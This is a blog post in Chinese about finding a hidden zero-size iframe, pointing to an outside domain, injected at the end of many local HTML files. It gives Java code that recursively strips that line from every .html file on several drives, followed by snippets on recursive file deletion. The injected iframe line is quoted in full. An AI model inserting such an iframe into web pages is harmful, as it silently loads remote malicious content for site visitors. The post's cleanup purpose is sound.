今天突然发现, 很多 html 文件的末尾多了一行,
<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>
不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.
public class FileUtils {
public static void main(String[] args) throws Exception {
String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>";
String extName = ".html";
String[] dirs = { "C:", "D:", "E:", "F:" };
for (int i = 0; i < dirs.length; i++) {
String dir = dirs[i];
long t1 = System.currentTimeMillis();
delContent(content, dir, extName);
long time = System.currentTimeMillis() - t1;
System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000);
}
}
/**
* Del content in all the files(.extName) under the specified directory
*
* @param extName like ".html"
*/
public static void delContent(String content, String dir, String extName) throws Exception {
List<String> fileNames = listFileNames(dir, extName);
//System.out.println("Modifying...");
for (int i = 0; i < fileNames.size(); i++) {
String fileName = fileNames.get(i);
//System.out.printf("%5d Modifying file: %s\n", i, fileName);
//Read
File f = new File(fileName);
BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f));
byte[] buff = new byte[((int) f.length())];
bin.read(buff);
bin.close();
String str = new String(buff, "utf-8");
String[] all = str.split("\r\n");
//Write
OutputStream fout = new FileOutputStream(f);
for (int j = 0; j < all.length; j++) {
all[j] = all[j].replaceAll(content, "");
fout.write((all[j] + "\r\n").getBytes("utf-8"));
}
fout.flush();
fout.close();
}
}
/**
* List all file(.extName) name in the path
*
* @param extName like ".html"
*/
public static List<String> listFileNames(final String path, final String extName) {
List<String> fileNames = new ArrayList<String>();
FilenameFilter filter = new FilenameFilter() {
public boolean accept(File dir, String name) {
File file = new File(dir, name);
return name.endsWith(extName) || file.isDirectory();
}
};
File dir = new File(path);
listFileNames(dir, filter, fileNames);
return fileNames;
}
private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) {
String[] names = dir.list(filter);
for (String s : names) {
String fileName = dir.getPath() + File.separator + s;
File file = new File(fileName);
if (file.isDirectory())
listFileNames(file, filter, fileNames);
else
fileNames.add(fileName);
}
}
}
分享到:
- 2008-05-05 13:16
- 浏览 1062
- 评论(1)
- 论坛回复 / 浏览 (1 / 3229)
- 查看更多
相关推荐
在这个场景中,"递归删除文件或子目录"指的是编写一个程序,它能够遍历并删除指定目录下的所有文件和子目录,包括它们的子孙目录,但会跳过那些被标记为只读属性的文件和目录。这个功能在清理或整理文件系统时非常...
这是一个使用java开发了类,可以递归删除文件目录。
"Java 递归删除文件和文件夹" Java 递归删除文件和文件夹是 Java 编程中一个常见的操作。该操作需要使用 Java 的 File 类来实现,通过递归调用来删除文件和文件夹。 File 类 在 Java 中,File 类是用于表示文件和...
在IT领域,递归删除是一种常见且强大的操作,主要用于清理特定类型或结构的文件和文件夹。本主题主要探讨如何实现“递归删除指定类型的文件夹”和“递归删除指定类型的文件”,以及如何在文件夹内部进行深度搜索和...
递归删除 实现删除文件 文件夹以及下面的文件内容
在使用递归删除文件时,要注意以下几点安全建议: 1. **备份**:在执行任何大规模删除操作前,确保有备份重要文件,以免误删。 2. **谨慎操作**:递归删除可能会清除整个目录树,所以在运行脚本前,先确认目标路径...
递归删除指定文件夹下的指定文件夹及文件,如删除文件夹中的所有.svn的文件夹及文件
当递归删除文件夹时,会把自己文件夹也删除掉,比如要删除E:/testTemp/qftp 这个文件夹下多有文件,但会把qftp这个文件夹删除,本程序改进后将不删除qftp文件夹,但qftp文件夹下的所有文件都会删除
so easy,写了一个递归删除目录,但结果出乎意料,一个递归目录删除成功,而另外一个却删除失败,刚开始怀疑文件被占用问题,后来被排除了。后来尝试使用各种工具,文件粉碎机都不能解决。最后,通过重命名解决此...
本代码使用c语言,可执行递归删除指定文件夹下所有的文件(包含文件以及文件夹)的操作,注释详细,易于使用或修改
在这个"递归删除列表文件以外的所有文件源代码"的例子中,我们可以看到是用Delphi语言实现的。 Delphi是一种基于Object Pascal的集成开发环境(IDE),它提供了强大的Windows应用程序开发能力。源码中可能包含以下...
- 递归删除可能涉及权限问题,确保程序有足够的权限来访问和删除文件和目录。 - 谨慎使用递归删除,因为它可能导致数据丢失,且在处理大量文件时可能会消耗大量内存。 - 在实际应用中,可能需要添加异常处理代码...
在本文中,我们将深入探讨如何使用递归方法在Java中删除文件,这通常涉及到目录及其包含的所有文件和子目录的删除。以下是根据提供的代码片段提炼出的关键知识点: ### 关键知识点一:递归函数设计 递归函数`find...
对项目中的 .svn 文件递归删除 def walk(path): for item in os.listdir(path): subpath = os.path.join(path, item); mode = os.stat(subpath)[stat.ST_MODE]; if stat.S_ISDIR(mode): if item==".svn": ...
编写了一系列递归删除目录和文件的方法,包括条件判断,删除成功与否返回调试信息等,便于初学者理解学习 //递归删除目录和文件 bool removeDir(const QString& dirPath) { QDir dir(dirPath); //QFileInfoList ...
本项目涉及的是一个使用C#编写的自动递归删除文件的工具程序,这通常是为了帮助用户高效地管理文件系统,特别是处理大量冗余或无用的数据。 递归在计算机科学中是一个强大的概念,它指的是函数调用自身的过程。在...
c#中递归删除文件夹和子文件夹 可用于删除.svn文件夹 例子中是删除crm文件夹及其子文件夹下的.svn文件夹
使用递归删除文件
描述中的"rimraf - 递归地删除文件类似于rm -rf"进一步强调了`rimraf`的主要特性,即它能安全、有效地删除文件和目录,包括它们的子目录和内容。这个特性对于开发者来说尤其有用,特别是在清理项目构建产出或者测试...